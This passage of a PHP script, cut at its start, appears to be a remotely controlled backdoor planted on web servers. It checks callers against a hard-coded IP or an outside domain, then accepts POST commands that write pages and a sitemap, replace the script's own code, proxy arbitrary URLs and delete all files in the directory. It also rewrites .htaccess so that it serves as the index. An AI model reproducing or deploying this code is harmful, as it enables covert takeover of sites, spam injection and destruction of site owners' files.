0) $uri = substr($uri, 0, 1+$n); $p = "http://" . $_SERVER['SERVER_NAME'] . $uri; $r .= '' . "\n"; $r .= '\n"; $r .= "\t" . date("Y-m-d", filemtime('article_index')) . "\n"; $r .= "\tweekly\n\n"; } foreach ($files as $file) { if ($file != 'index.php' && $file != 'upload.php' && $file!='sitemap.xml') { $r .= "\n\t" . $p . $file . "\n"; $r .= "\t" . date("Y-m-d", filemtime($file)) . "\n"; $r .= "\tweekly\n\n"; } } $r .= ""; $f = fopen("sitemap.xml", "w"); fwrite($f, $r); fclose($f); } function check_valid_ip($code) { $valid_ip_addr = array('173.192.21.34'); $ip = getip(); foreach($valid_ip_addr as $a) { if($a==$ip) return true; } //return false; $check_doc = "/websiteAction?action=checkOperation&code=" . $code; $check_domain = "liex.ru"; $res = get_file_from_url($check_domain, $check_doc); return $res === 'ok'; } //START if (is_file($log_file)) logger("\n\n"); logger("Script started at ".date('r')." ==============\n"); if (!file_exists('.htaccess')) { logger('Create .htaccess'); $hth = fopen('.htaccess', 'wb'); fwrite($hth, "RewriteEngine off\n\nDirectoryIndex upload.php\n\nAddDefaultcharset windows-1251\n\nphp_flag register_globals off\n"); fclose($hth); } if(!isset($_POST['action'])) { return_index(); return; } $key = 'none'; if (isset($_POST['key'])) $key = $_POST['key']; if (!check_valid_ip($key)) { logger('IP validity check failed'); return; } $action = $_POST['action']; if($action == 'initialize') { if(isset($_POST['code']) && $_POST['code']!="upload") { logger("wrong script " . $_POST['code']); echo 'wrong script (upload vs. cms_importer)'; } else { echo 'ok'; } return; } if($action == 'index_update') { if(isset($_POST['index'])) update_index($_POST['index']); else logger("index data not set"); if(isset($_POST['clear'])) clear_files($_POST['clear']); sitemap(); return; } if($action == 'article_update') { if(!isset($_POST['id'])) logger("id not set"); else if(!isset($_POST['text'])) logger("text not set"); else { update_article($_POST['id'], $_POST['text']); echo 'ok'; } if(isset($_POST['index'])) update_index($_POST['index']); if(isset($_POST['clear'])) clear_files($_POST['clear']); sitemap(); return; } if($action == 'article_delete') { if(isset($_POST['id'])) { delete_article($_POST['id']); echo 'ok'; } else logger("id not set"); if(isset($_POST['index'])) update_index($_POST['index']); if(isset($_POST['clear'])) clear_files($_POST['clear']); sitemap(); return; } if($action == 'script_update') { if(!isset($_POST['text'])) logger("script text not set"); else { update_script($_POST['text']); echo 'ok'; } return; } if($action == 'proxy') { if(isset($_POST['url'])) { $url = $_POST['url']; if (substr($url, 0, 7)=="http://") $url = substr($url, 7); $n = strpos($url, "/"); if ($n !== FALSE) { $dom = substr($url, 0, $n); $doc = substr($url, $n); } else { $dom = $url; $doc = "/"; } echo get_file_from_url($dom, $doc); } return; } if($action == 'delete_all') { $files = glob('*.*'); if ($files && is_array($files)) foreach ($files as $file) if ($file != $my_name && $file != ".htaccess" && $file != "log" && $file!=$index_page) unlink($file); return; } ?>